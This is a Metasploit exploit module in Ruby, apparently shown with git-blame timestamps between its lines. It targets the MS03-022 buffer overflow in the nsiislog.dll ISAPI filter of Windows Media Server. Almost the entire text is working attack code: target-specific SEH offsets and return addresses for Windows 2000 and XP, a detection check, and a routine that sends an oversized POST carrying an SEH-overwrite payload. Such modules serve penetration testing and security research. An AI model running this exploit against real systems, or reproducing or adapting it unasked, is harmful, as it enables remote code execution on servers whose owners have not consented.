2007-02-18 00:10:39 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = GoodRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Remote::BruteTargets
|
|
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-03-29 01:56:53 +00:00
|
|
|
'Name' => 'MS03-022 Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow',
|
2013-08-30 21:28:54 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This exploits a buffer overflow found in the nsiislog.dll
|
|
|
|
ISAPI filter that comes with Windows Media Server. This
|
|
|
|
module will also work against the 'patched' MS03-019
|
|
|
|
version. This vulnerability was addressed by MS03-022.
|
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2003-0349'],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '4535'],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'BID', '8035'],
|
|
|
|
[ 'MSB', 'MS03-022'],
|
|
|
|
[ 'URL', 'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# SEH offsets by version (Windows 2000)
|
|
|
|
# 4.1.0.3917 = 9992
|
|
|
|
# 4.1.0.3920 = 9992
|
|
|
|
# 4.1.0.3927 = 9992
|
|
|
|
# 4.1.0.3931 = 14092
|
|
|
|
|
|
|
|
['Brute Force', { }],
|
|
|
|
['Windows 2000 -MS03-019', { 'Rets' => [ 9988, 0x40f01333 ] }],
|
|
|
|
['Windows 2000 +MS03-019', { 'Rets' => [ 14088, 0x40f01353 ] }],
|
|
|
|
['Windows XP -MS03-019', { 'Rets' => [ 9992, 0x40f011e0 ] }],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jun 25 2003',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URL', [ true, "The path to nsiislog.dll", "/scripts/nsiislog.dll" ]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
res = send_request_raw({
|
|
|
|
'uri' => normalize_uri(datastore['URL'])
|
|
|
|
}, -1)
|
|
|
|
|
|
|
|
if (res and res.body =~ /NetShow ISAPI/)
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit_target(target)
|
|
|
|
|
|
|
|
# Create a buffer greater than max SEH offset (16384)
|
|
|
|
pst = rand_text_alphanumeric(256) * 64
|
|
|
|
|
|
|
|
# Create SEH frame and insert into buffer
|
|
|
|
seh = generate_seh_payload(target['Rets'][1])
|
|
|
|
pst[target['Rets'][0], seh.length] = seh
|
|
|
|
|
|
|
|
# Send it to the server
|
|
|
|
print_status("Sending request...")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => normalize_uri(datastore['URL']),
|
|
|
|
'method' => 'POST',
|
|
|
|
'user-agent' => 'NSPlayer/2.0',
|
|
|
|
'content-type' => 'application/x-www-form-urlencoded',
|
|
|
|
'data' => pst
|
|
|
|
}, 5)
|
|
|
|
|
|
|
|
select(nil,nil,nil,1)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2005-12-26 14:34:22 +00:00
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|